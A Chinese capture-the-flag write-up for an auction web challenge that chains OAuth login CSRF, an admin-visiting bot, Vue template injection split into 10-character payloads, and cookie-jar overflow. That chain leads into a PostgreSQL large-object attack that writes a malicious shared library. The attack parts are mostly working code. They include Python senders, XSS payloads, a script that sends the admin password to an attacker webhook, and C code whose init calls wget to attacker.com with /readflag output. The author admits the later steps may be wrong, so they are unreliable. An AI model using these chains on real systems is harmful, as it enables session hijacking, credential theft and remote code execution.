隐藏在埃尔多利亚充满活力的街道中,隐藏着一个充满传奇色彩的市场。在这里,遗物和魔法巨著低语着过去时代的故事,等待着那些敢于索取它们的人。使用直观的过滤系统浏览庞大的神秘文物档案,该系统按时代、元素力量等揭示宝藏。使用您辛苦赚来的 Eldorian Gold 与其他冒险者实时出价,每次出价都会解锁可能改变您对龙之心的探索的秘密。每一场胜利都会揭开 Eldoria 传奇过去的片段,将古老的魔法与现代策略融为一体。在这个充满活力的领域中,你的选择在历史的编年史中回荡——你会抓住重塑命运的遗物,还是让它们滑入传奇?
OAuth
先注册一个账号,发现登录验证并没有state
POST /oauth/authorize HTTP/1.1
Host: 94.237.49.252:52782
Content-Length: 125
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://94.237.49.252:52782
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.49.252:52782/oauth/authorize?response_type=code&client_id=GIObfzrImFcQj1mPfEENLTD12bTdTbfoYUApp1Cs&redirect_uri=%2Fcallback&scope=read
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AN6yQcz0cjAQ3RNFoph3hJnSdbIm_mPEL.FqjWWJ%2FWTLy6QQ%2FdKtiMnPrfT2RWcAMLvNqVrsyPJqk
Connection: keep-alive
response_type=code&client_id=GIObfzrImFcQj1mPfEENLTD12bTdTbfoYUApp1Cs&redirect_uri=%2Fcallback&scope=read&state=&approve=true
在 OAuth 2.0 协议中,state
是一个关键的安全参数,主要用于防止 跨站请求伪造(CSRF, Cross-Site Request Forgery) 攻击。以下是它的核心作用、实现方式及示例说明:
一、state
参数的作用
-
防御 CSRF 攻击
- 攻击者可能伪造一个 OAuth 授权请求链接,诱导用户点击。如果用户已登录授权服务器(如 Google、GitHub),攻击者可能获取用户的授权令牌(Access Token)。
state
参数通过绑定客户端生成的随机值与用户会话(Session),确保授权回调的请求是合法的。
-
保持客户端状态
- 在 OAuth 流程中,用户从授权服务器跳转回客户端时,
state
可携带客户端发起请求时的上下文信息(例如用户原访问的页面 URL)。
- 在 OAuth 流程中,用户从授权服务器跳转回客户端时,
二、state
的工作流程
-
生成随机值
客户端生成一个 唯一且不可预测 的随机字符串(如 UUID),并保存到用户的会话(Session)中。// 示例:生成随机 state(Node.js) const state = require('crypto').randomBytes(16).toString('hex'); // 保存到 Session req.session.oauth_state = state;
-
附加到授权请求
将state
作为参数添加到 OAuth 授权 URL 中,发送用户到授权服务器:
GET https://oauth-provider.com/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=CALLBACK_URI&
state=RANDOM_STATE
-
验证回调请求
当授权服务器回调客户端时,客户端需验证返回的state
是否与会话中保存的值一致:// 验证回调中的 state(Node.js) if (req.query.state !== req.session.oauth_state) { throw new Error("Invalid state parameter"); } // 验证通过后,清除 Session 中的 state delete req.session.oauth_state;
这意味任何人都可使用此凭证登录你的账号
SSRF
我们发现可以向服务器发送组队招募,你可以在其中附带url,管理员会访问这个url
POST /api/submissions HTTP/1.1
Host: 94.237.58.253:55938
Content-Length: 72
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://94.237.58.253:55938
Referer: http://94.237.58.253:55938/submit
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3A2IqOJQuoxz573_MErGo6sPvkGlfU5LZI.G1JAiNdtLUeTwEpDg7pczY3HicBChnrGuN3l9wyRwAY
Connection: keep-alive
{"name":"666","description":"6666","url":"http://666","category":"lore"}
存在一个机器人,会访问你留言中的url
// 引入 Puppeteer 和 fs 模块
const puppeteer = require("puppeteer");
const fs = require("fs");
// 设置用户数据目录路径
const USER_DATA_DIR = "/tmp/session";
// 检查用户数据目录是否存在,如果不存在则创建它
if (!fs.existsSync(USER_DATA_DIR)) {
fs.mkdirSync(USER_DATA_DIR, { recursive: true }); // 创建目录,包含必要的父目录
console.log(`Created user data directory at ${USER_DATA_DIR}`);
}
// 定义一个异步函数,用于使用 Puppeteer 处理指定的 URLasync function processURLWithBot(url) {
// 启动 Puppeteer 浏览器实例
const browser = await puppeteer.launch({
headless: true, // 启动无头模式,即浏览器界面不显示
args: [
'--no-sandbox', // 禁用沙箱模式
'--disable-popup-blocking', // 禁用弹出窗口阻止
'--disable-background-networking', // 禁用后台网络请求
'--disable-default-apps', // 禁用默认应用程序
'--disable-extensions', // 禁用浏览器扩展
'--disable-gpu', // 禁用 GPU 加速
'--disable-sync', // 禁用浏览器同步功能
'--disable-translate', // 禁用自动翻译功能
'--hide-scrollbars', // 隐藏滚动条
'--metrics-recording-only', // 仅记录性能指标,不进行页面渲染
'--mute-audio', // 禁用音频
'--no-first-run', // 禁用首次启动时的引导
'--safebrowsing-disable-auto-update', // 禁用自动更新安全浏览功能
'--js-flags=--noexpose_wasm,--jitless' // 设置 JavaScript 相关标志,禁用 WebAssembly 和 JIT 编译器
],
userDataDir: USER_DATA_DIR, // 使用指定的用户数据目录,保持会话状态
});
// 创建新的页面实例
const page = await browser.newPage();
try {
// 从环境变量中获取管理员密码
const adminPassword = process.env.ADMIN_PASSWORD;
// 如果环境变量中没有设置管理员密码,则抛出错误
if (!adminPassword) {
throw new Error("Admin password not set in environment variables.");
}
// 访问本地的管理页面
await page.goto("http://127.0.0.1:1337/");
// 打印当前浏览器的 cookies 信息
console.log(await browser.cookies());
// 如果页面不是预期的登录页面,则执行登录操作
if (page.url() != "http://127.0.0.1:1337/") {
console.log("logging in IN");
// 填写用户名和密码
await page.type('input[name="username"]', "admin");
await page.type('input[name="password"]', adminPassword);
// 提交表单并等待页面导航完成
await Promise.all([
page.click('button[type="submit"]'), // 点击登录按钮
page.waitForNavigation({ waitUntil: "networkidle0" }), // 等待页面加载完成
]);
// 打印登录后浏览器的 cookies 信息
console.log(await browser.cookies());
} else {
// 如果已经登录,输出相关信息
console.log("already logged in");
console.log(await page.url());
}
// 访问传入的 URL 并等待网络空闲
await page.goto(url, { waitUntil: "networkidle0" });
// 等待 5 秒钟,以确保页面加载完成
await new Promise(resolve => setTimeout(resolve, 5000));
} catch (err) {
// 捕获并打印错误信息
console.error(`Bot encountered an error while processing URL ${url}:`, err);
} finally {
// 无论如何都关闭浏览器实例
await browser.close();
}
}
// 导出 processURLWithBot 函数供其他模块使用
module.exports = { processURLWithBot };
我们可以让其导向我们自身服务器来执行任意js
预期解:
当我们查看我们的出价时,此模板直接渲染了我们的输入
{{ bid.amount }}
{% extends "layout.html" %}
{% block content %}
<div class="rpg-panel" id="my_bids">
<div class="panel-header">
<i class="fa-solid fa-money-check-alt"></i>
<h2 class="panel-title">My Bids</h2>
</div>
{% if bids and bids.length > 0 %}
<table class="auction-table">
<thead>
<tr>
<th>Resource Name</th>
<th>Bidder</th>
<th>Bid Amount</th>
<th>Placed On</th>
</tr>
</thead>
<tbody>
{% for bid in bids %}
<tr>
<td>{{ bid.resourcename }}</td>
<td>{{ bid.bidder }}</td>
<td>{{ bid.amount }}</td>
<td>{{ bid.createdat }}</td>
</tr>
{% endfor %}
</tbody>
</table>
{% else %}
<p>You have not placed any bids yet.</p>
{% endif %}
</div>
{% endblock %}
有效负载长度不能超过 10
/**
* 在拍卖中出价的路由处理函数
* @param {Object} req - Express 请求对象
* @param {Object} res - Express 响应对象
*/
router.post('/auctions/:id/bids', isAuthenticated, async (req, res) => {
try {
// 从请求参数中获取拍卖 ID
const auctionId = req.params.id;
// 从会话中获取用户 ID
const userId = req.session.userId;
// 从请求体中获取出价信息
const { bid } = req.body;
// 检查出价长度是否超过 10
if (bid.length > 10) {
// 如果超过,返回 400 错误
return res.status(400).json({ success: false, message: 'Too long' });
}
// 提交出价
await placeBid(auctionId, userId, bid);
// 返回出价成功的响应
return res.json({ success: true });
} catch (err) {
// 记录出价时的错误信息
console.error('Error placing bid:', err);
// 根据错误信息设置返回的状态码
const status = err.message.includes('Invalid') ? 400
: (err.message.includes('not found') || err.message.includes('closed')) ? 404
: 500;
// 返回相应状态码的错误响应
return res.status(status).json({ success: false, message: err.message || 'Internal server error.' });
}
});
尽管拥有严格的长度限制,但是多次的渲染使得我们可以反复拼接变量,题目当在后端渲染后,会再次再前端渲染
/**
* 初始化我的出价页面的Vue实例
*/
function initMyBidsVue() {
// 创建一个新的Vue实例
new Vue({
// 绑定到ID为my_bids的DOM元素
el: "#my_bids",
// 设置模板分隔符
delimiters: ['${', '}'],
// 定义数据对象
data: {
},
// 定义计算属性
computed: {
},
// 定义方法
methods: {
}
});
}
我们可以拼接变量来构造任意字符串
from codes.WebAttack import *
from codes.WebSockteAttack import *
from codes.InjectTools import *
exp = "that_interesting"
io = WebAttack("""
POST /api/auctions/2/bids HTTP/1.1
Host: 192.168.81.137:1337
Content-Length: 11
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://192.168.81.137:1337
Referer: http://192.168.81.137:1337/auction/2
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AoLq-6kQi7K1B2dTwcR7aZ6VynLVbhmEV.xa06uY3%2FJ2rost04aZQMrbre4QGFZkZEep4QpJEGITc
Connection: keep-alive
{"bid":"{$}"}
""")
exp = list(exp)
pay = ['${a=\'' + exp[0] + '\'}']
exp = exp[1:]
for i in exp:
pay.append('${a+=\'' + i + '\'}')
print(pay)
for i in pay:
io.send([i])
从字典发送
from codes.WebAttack import *
from codes.WebSockteAttack import *
from codes.InjectTools import *
io = WebAttack("""
POST /api/auctions/2/bids HTTP/1.1
Host: 192.168.81.137:1337
Content-Length: 11
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://192.168.81.137:1337
Referer: http://192.168.81.137:1337/auction/2
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AoLq-6kQi7K1B2dTwcR7aZ6VynLVbhmEV.xa06uY3%2FJ2rost04aZQMrbre4QGFZkZEep4QpJEGITc
Connection: keep-alive
{"bid":"{$}"}
""")
with open('dict', 'r', encoding='utf-8') as file:
lines = file.readlines()
for line in lines:
io.send([line])
但是这还不足以引起xss
像亿万富翁一样出价 - 使用 4 个字符的 CSTI 窃取 NFT - Matan Berson
题目给出了一个方式进行xss
{{_s.constructor("alert(1)")()}}
题目验证比较宽松,使用拆分即可
trick: 在 JavaScript 中,
class.func
和class['func']
是等价的,反引号是可以跨越多行的
${s=_s}
${a='c'}
${a+='o'}
${a+='n'}
${a+='s'}
${a+='t'}
${a+='r'}
${a+='u'}
${a+='c'}
${a+='t'}
${a+='o'}
${a+='r'}
${c=s[a]}
${b='a'}
${b+='l'}
${b+='e'}
${b+='r'}
${b+='t'}
${b+='('}
${b+='1'}
${b+=')'}
${c(b)()}
from codes.WebAttack import *
from codes.WebSockteAttack import *
from codes.InjectTools import *
io = WebAttack("""
POST /api/auctions/3/bids HTTP/1.1
Host: 192.168.81.137:1337
Content-Length: 11
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://192.168.81.137:1337
Referer: http://192.168.81.137:1337/auction/3
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3Ag4FUzTXh6CozjDhjGwe_Bz1DkCwH9H4p.oJBx5T3sA0P%2BRMrX08Gg6ME4N0mhqi%2FgBQMr8GaCVYs
Connection: keep-alive
{"bid":"{$}"}
""")
exp_list = []
def save_txt(var, exp):
exp = list(exp)
pay = '${' + var + '=\'' + exp[0] + '\'}'
exp_list.append(pay)
exp = exp[1:]
for i in exp:
if i == '\n':
i = '\\n'
exp_list.append('${' + var + '+=\'' + i + '\'}')
save_txt('a','constructor')
save_txt('b','alert(1)')
exp_list.append('${s=_s}')
exp_list.append('${c=s[a]}')
exp_list.append('${c(b)()}')
for i in exp_list:
print(i)
io.send([i])
如果你希望理解预期解决
Vue.js 的模板原理是其响应式系统的核心之一,它通过将模板转换为虚拟 DOM 并结合响应式数据绑定,实现高效的视图更新。以下是其核心原理的分步解析:
1. 模板编译(Compilation)
Vue 的模板本质是 声明式语法,浏览器无法直接执行,需编译为 JavaScript 可执行的 渲染函数。编译过程分为三个阶段:
1.1 解析(Parsing)
- 输入:HTML 字符串模板(如
<div>{{ message }}</div>
)。 - 过程:通过 解析器(Parser) 将模板字符串转换为 抽象语法树(AST,Abstract Syntax Tree)。
- AST 是树形结构,描述模板中的元素、属性、指令等信息。
- 例如,
v-if
、v-for
、{{ }}
插值等会被解析为 AST 节点。
1.2 优化(Optimization)
- 静态标记:遍历 AST,标记 静态节点(无动态绑定或指令的节点)。
- 静态节点在后续更新中不会变化,可跳过 Diff 比较。
- 提升静态内容:将静态节点提升到渲染函数外部,避免重复创建。
1.3 生成代码(Code Generation)
- 输入:优化后的 AST。
- 输出:生成可执行的 渲染函数(Render Function)。
- 渲染函数通过
createElement
(或h
函数)生成 虚拟 DOM(Virtual DOM)。 - 例如,
<div>{{ message }}</div>
会被编译为:function render() { return h('div', this.message); }
- 渲染函数通过
2. 响应式数据绑定
Vue 的 响应式系统 负责监听数据变化并触发视图更新,其核心是:
- 依赖收集:在渲染函数执行时,通过
getter
收集当前数据的依赖(即 Watcher)。 - 派发更新:数据变化时,通过
setter
通知依赖(Watcher)执行重新渲染。
示例流程:
- 模板中访问
{{ message }}
,触发message
的getter
。 - 将当前组件的 渲染 Watcher 注册为
message
的依赖。 - 当
message
被修改时,触发setter
,通知所有依赖的 Watcher。 - Watcher 调用渲染函数生成新的虚拟 DOM,触发 Diff 和更新。
3. 虚拟 DOM 与 Diff 算法
3.1 虚拟 DOM(Virtual DOM)
- 渲染函数返回的轻量级 JavaScript 对象,描述真实 DOM 的结构。
- 例如:
{ tag: 'div', props: { id: 'app' }, children: 'Hello Vue!' }
3.2 Diff 算法
- 当数据变化时,生成新的虚拟 DOM,与旧的虚拟 DOM 进行对比(Diff)。
- 高效更新:仅对变化的节点进行真实 DOM 操作,避免全量更新。
- Vue 的 Diff 算法优化策略:
- 同层比较:仅比较同一层级的节点,不跨层级。
- Key 优化:通过
key
标识节点,减少不必要的节点销毁/重建。
4. 指令与语法糖
Vue 的模板语法(如 v-if
、v-for
、v-model
)会被编译为 JavaScript 逻辑:
v-if
:编译为条件判断语句(三元表达式或if-else
)。v-for
:编译为循环语句(如list.map(item => h(...))
)。v-model
:语法糖,编译为value
绑定和input
事件监听。
总结:Vue 模板的核心流程
模板字符串 → AST → 优化后的 AST → 渲染函数 → 虚拟 DOM → Diff → 真实 DOM 更新
通过这一机制,Vue 实现了 声明式编程 与 高效更新 的结合,开发者只需关注数据逻辑,无需手动操作 DOM。
你可以在控制台处运行代码查看输出
const { compile, h } = Vue;
// 定义模板字符串
const template = `<div>{{ message }}</div>`;
// 编译模板
const { render } = compile(template);
// 输出 render 函数
console.log(render.toString());
function anonymous(
) {
with(this){return _c('div',[_v(_s(message))])}
} debugger eval code:10:9
tips:每次代码执行后都需要刷新页面
const { compile, h } = Vue;
// 定义模板字符串
const template = "<div>{{a=\`}}{{hhhh}}{{\`}}</div>";
// 编译模板
const { render } = compile(template);
// 输出 render 函数
console.log(render.toString());
function anonymous(
) {
with(this){return _c('div',[_v(_s(a=`)+_s(hhhh)+_s(`))])}
}
只要你没有跳过文章的任何一部分,而且有一部分js基础,相信你一定能理解下面的有效负载如何而来
(function anonymous() {
with (this) {
return _c('div', {
attrs: {
"id": "content"
}
}, [_m(0), _v(" "), _c('div', {
staticClass: "seperator"
}), _v(" "), _c('div', {
staticClass: "container"
}, [_c('p', [_c('b', [_v("$1.0")]), _v(" by "), _c('b', [_v(_s(a=`1))]),_v(" - "),_c('span',{staticClass:"date"},[_v("14:10 Jun 06, 2024")])]),_v(" "),_c('p',[_c('b',[_v("$1.0")]),_v(" by "),_c('b',[_v(_s(hhhh))]),_v(" - "),_c('span',{staticClass:"date"},[_v("13:58 Jun 06, 2024")])]),_v(" "),_c('p',[_c('b',[_v("$1.0")]),_v(" by "),_c('b',[_v(_s(`))]), _v(" - "), _c('span', {
staticClass: "date"
}, [_v("13:57 Jun 06, 2024")])]), _v(" "), _m(1), _v(" "), _m(2), _v(" "), _m(3)])])
}
})
{{z=70}}
{{z+=z}} // z = 140
{{a=`}}
{{hhhh}}
{{`[z]}} // a = "h"
{{a+=`}}
{{xxxx}}
{{`[z]}} // a = "hx"
{{a+=`}}
{{xxxx}}
{{`[z]}} // a = "hxx"
{{a+=`}}
{{dddd}}
{{`[z]}} // a = "hxxd"
trick:其实还有一个语法,但是我没去研究利用,先放出来吧
// 定义标签函数
function myTag(strings, ...values) {
// strings: 静态字符串片段的数组
// values: 动态插入值的数组
console.log("Strings:", strings);
console.log("Values:", values);
return "Processed Result"; // 返回最终处理后的字符串
}
// 使用标签模板调用
const result = myTag`Hello ${"World"}, 1 + 2 = ${1 + 2}`;
console.log(result);
可以写出这样的
function some_func(strings, ...values) {
console.log(strings);
}
some_func`data`;
非预期1
My Submissions 面板同样存在xss
POST /api/submissions HTTP/1.1
Host: 192.168.81.137:1337
Content-Length: 126
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://192.168.81.137:1337
Referer: http://192.168.81.137:1337/submit
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3AoLq-6kQi7K1B2dTwcR7aZ6VynLVbhmEV.xa06uY3%2FJ2rost04aZQMrbre4QGFZkZEep4QpJEGITc
Connection: keep-alive
{"name":"<script>alert('xss')</script>","description":"<script>alert('xss')</script>","url":"https://a.com","category":"lore"}
非预期2:利用数组
{"bid": ["'><script>alert('xss')</script><div>", 2]}
这将导致某些内容被错误的拼接
返回包中的
<div id="auction-details-panel" class="rpg-panel" data-auction='{"id":3,"resourceid":3,"startingbid":300,"currentbid":null,"endtime":"2025-12-31T23:59:59.000Z","createdat":"2025-04-03T09:53:22.479Z","resourcename":"Shield of Eternity","bids":[{"id":6,"auctionid":3,"userid":1,"amount":"400","createdat":"2025-04-03T09:53:22.482Z","resourcename":"Shield of Eternity","bidder":"admin"},{"id":5,"auctionid":3,"userid":1,"amount":"350","createdat":"2025-04-03T09:53:22.480Z","resourcename":"Shield of Eternity","bidder":"admin"}]}'>
将会变成
<script>alert('xss')</script><div>\",\"2\"}","endtime":"2025-12-31T23:59:59.000Z","createdat":"2025-04-03T09:53:22.471Z","resourcename":"Sword of Malakar","bids":[{"id":22,"auctionid":2,"userid":2,"amount":"{\"'><script>alert('xss')</script><div>\",\"2\"}","createdat":"2025-04-03T11:54:25.373Z","resourcename":"Sword of Malakar","bidder":"wfafawfs"},{"id":4,"auctionid":2,"userid":1,"amount":"300","createdat":"2025-04-03T09:53:22.475Z","resourcename":"Sword of Malakar","bidder":"admin"},{"id":3,"auctionid":2,"userid":1,"amount":"250","createdat":"2025-04-03T09:53:22.473Z","resourcename":"Sword of Malakar","bidder":"admin"}]}'>
继续
注意: 这之后的部分不一定是正确的!(太难了写不动了)
我们使用预期解来继续,现在我们将利用OAuth漏洞使得admin登录我们的账号执行js
由于题目存在会话 cookie 是 HTTPOnly设置的,因此我们无法使用 Javascript 覆盖它
我们可以使用以下脚本让其执行我们的xss
<script>
window.open('http://127.0.0.1:1337/logout');
// Wait 2 seconds, then redirect the current page
setTimeout(function() {
window.open('http://127.0.0.1:1337/callback?code={code}');
}, 1000);
setTimeout(function() {
window.open('http://127.0.0.1:1337/my-bids');
}, 2000);
</script>
我们在登录的最后一步停止,即可获得{code},然后我们在/my-bids部署此脚本
const cookieJar = 300
cookiez = "connect.sid=[Session COOKIE]"
if (document.cookie == cookiez) {
fetch('http://[attacker webhook]?begin=true')
sendQuery();
fetch('http://[attacker webhook]?begin=false')
}
else {
for (let i = 0; i < cookieJar;i++){
document.cookie = "cookie"+i+"=a; Secure"
}
for (let i = 0; i < cookieJar;i++){
document.cookie = "cookie" + i + "=a; expires=Thu, 01 Jan 1970 00:00:01 GMT";
}
document.cookie = cookiez + ";path=/my-bids; expires=" + new Date(Date.now() + 24 * 60 * 60 * 1000).toUTCString();
}
async function sendQuery() {
try {
const response = await fetch("/table", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ tableName: "users" }),
});
const data = await response.json();
if (data.success) {
fetch('http://[attacker webhook]?x=' + btoa(data.results[0].password))
console.log('Query Results:', data.results);
} else {
fetch('http://[attacker webhook]?error=' + btoa(data))
console.error('Query Error:', data.message);
}
} catch (error) {
fetch('http://[attacker webhook]?catch=' + btoa(error))
console.error('Request Failed:', error);
}
}
原理部分
Cookie 溢出攻击
else {
// 第一阶段:创建300个临时Cookie(占满浏览器Cookie配额)
for (let i = 0; i < cookieJar; i++) {
document.cookie = "cookie"+i+"=a; Secure";
}
// 第二阶段:立即删除这些临时Cookie(连带清除原有Cookie)
for (let i = 0; i < cookieJar; i++) {
document.cookie = "cookie" + i + "=a; expires=Thu, 01 Jan 1970 00:00:01 GMT";
}
// 第三阶段:植入攻击者的会话Cookie
document.cookie = cookiez + ";path=/my-bids; expires=...";
}
-
浏览器 Cookie 数量限制
- 浏览器对每个域名下可存储的 Cookie 数量有上限(通常 150-300)。
- 例如:Chrome 限制为 180个 Cookie,超出后会自动删除旧 Cookie。
-
强制清理机制
- 步骤1:快速创建 300 个名为
cookie0
,cookie1
… 的临时 Cookie。document.cookie = "cookie0=a; Secure"; // 占满配额
- 步骤2:立即将这些临时 Cookie 设置为过期(删除)。
document.cookie = "cookie0=a; expires=旧时间"; // 触发删除
- 结果:由于浏览器优先清理最早创建的 Cookie,原会话 Cookie(包括
HttpOnly
)会被强制删除。
- 步骤1:快速创建 300 个名为
Cookie 投毒
document.cookie = "connect.sid=攻击者Cookie; path=/my-bids; expires=未来时间";
攻击原理
-
路径隔离
- 将攻击者的 Cookie 作用范围限定在
/my-bids
路径。 - 当用户访问
/my-bids
时,浏览器会携带此 Cookie,其他路径仍使用正常会话。
- 将攻击者的 Cookie 作用范围限定在
-
优先级覆盖
- 如果原会话 Cookie 的 Path 为
/
(全局),访问/my-bids
时:- 浏览器会同时携带 全局 Cookie 和 /my-bids 路径 Cookie。
- 服务端通常以 最后一个 Cookie 为准,攻击者 Cookie 覆盖原会话。
- 如果原会话 Cookie 的 Path 为
当第一次攻击完成后,cookie将被投毒,脚本的第二部分将会执行,当我们再次让服务器访问
http://127.0.0.1:1337/my-bids
admin cookie会被新增,但是我们投毒的cooke不会消失http://127.0.0.1:1337/my-bids
返回的仍将是我们所控制的xss内容
// Endpoint: Get list of tables (PostgreSQL version)
router.get("/tables", isAdmin, async (req, res) => {
try {
// PostgreSQL query to list tables in the 'public' schema
const tables = await runReadOnlyQuery(`
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'public'
AND table_type = 'BASE TABLE'
ORDER BY table_name;
`);
res.json({ success: true, tables });
} catch (error) {
console.error("Fetching Tables Error:", error);
res
.status(500)
.json({ success: false, message: "Error fetching tables" });
}
});
4. 完整攻击链还原
从PostgreSQL数据库注入到任意代码执行
当我们获得管理员后,可以执行一项有风险的查询
// New Endpoint: Get all records from a specified table (POST version)
router.post("/table", isAdmin, async (req, res) => {
const { tableName } = req.body;
try {
const query = `SELECT * FROM "${tableName}"`;
if (query.includes(';')) {
return res
.status(400)
.json({ success: false, message: "Multiple queries not allowed!" });
}
const results = await runReadOnlyQuery(query);
res.json({ success: true, results });
} catch (error) {
console.error("Table Query Error:", error);
res.status(500).json({
success: false,
message: "Error fetching table data.",
});
}
});
但是此挑战不允许使用分号
PostgreSQL SQL 注入:仅 SELECT RCE |@adeadfed
根据文章
1. 读取当前配置文件
目标:获取 PostgreSQL 的配置文件路径及内容,为篡改配置做准备。
-- 步骤1.1:列出所有已加载的配置文件路径
SELECT sourcefile FROM pg_file_settings;
-- 步骤1.2:将配置文件导入为大对象(ID=31337)
SELECT lo_import('/var/lib/postgresql/data/postgresql.conf', 31337);
-- 步骤1.3:读取大对象内容(显示配置原文)
SELECT lo_get(31337);
- 关键函数:
lo_import(filename, oid)
:将服务器文件加载到 PostgreSQL 大对象存储,返回对象 ID。lo_get(oid)
:读取大对象内容(二进制或文本格式)。
- 作用:确认配置文件路径和内容,分析可修改的参数(如
local_preload_libraries
)。
2. 篡改配置文件
目标:覆盖配置文件,强制 PostgreSQL 加载恶意共享库。
-- 步骤2.1:将新配置(Base64编码)写入大对象(ID=133337)
SELECT lo_from_bytea(133337, decode('IyAtIENv...ZC5zbyc=', 'base64'));
-- 步骤2.2:导出大对象覆盖原配置文件
SELECT lo_export(133337, '/var/lib/postgresql/data/postgresql.conf');
- 关键操作:
- 构造恶意配置:在配置中添加
local_preload_libraries='/tmp/evil.so'
,指定预加载恶意库。 - Base64 编码:避免特殊字符干扰 SQL 语句。
- 构造恶意配置:在配置中添加
- 依赖条件:
- PostgreSQL 进程用户对配置文件有写入权限。
dynamic_library_path
包含/tmp
(恶意库存放路径)。
3. 分块上传恶意库
目标:将编译好的恶意 .so
文件上传到服务器。
-- 步骤3.1:获取 PostgreSQL 版本,确保库兼容性
SELECT version();
-- 步骤3.2:初始化大对象(ID=133338)并写入第一块数据
SELECT lo_from_bytea(133338, decode('f0VMRgIBAQ...AAA=', 'base64'));
-- 步骤3.3:追加后续数据块(偏移量递增)
SELECT lo_put(133338, 2048, decode('AAAAAA...AAAA=', 'base64')); -- 第2块
SELECT lo_put(133338, 4096, decode('BBBBBB...BBBB=', 'base64')); -- 第3块
-- 步骤3.4:导出完整 .so 文件
SELECT lo_export(133338, '/tmp/evil.so');
- 关键函数:
lo_from_bytea(oid, data)
:创建大对象并写入初始数据。lo_put(oid, offset, data)
:在指定偏移量追加数据。
- 分块原因:
- 避免单次查询传输数据过大被拦截或截断。
- Base64 编码后的字符串长度限制。
4. 触发配置重载
目标:使 PostgreSQL 重新加载配置,加载恶意库。
-- 步骤4.1:发送 SIGHUP 信号重载配置
SELECT pg_reload_conf();
- 结果:
- PostgreSQL 重新读取
postgresql.conf
,加载/tmp/evil.so
。 - 恶意库中的代码(如反弹 Shell)自动执行。
- PostgreSQL 重新读取
编译库以下库上传
#include <stdlib.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _PG_init(void)
{
system("wget \"https://attacker.com/?x=$(/readflag)\"");
}
先获取版本
SELECT version();
获取版本后安装工具链
sudo apt-get install postgresql-server-dev-XX gcc make
然后使用以下命令编译库,并按照之前步骤上传并加载库获得flag
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c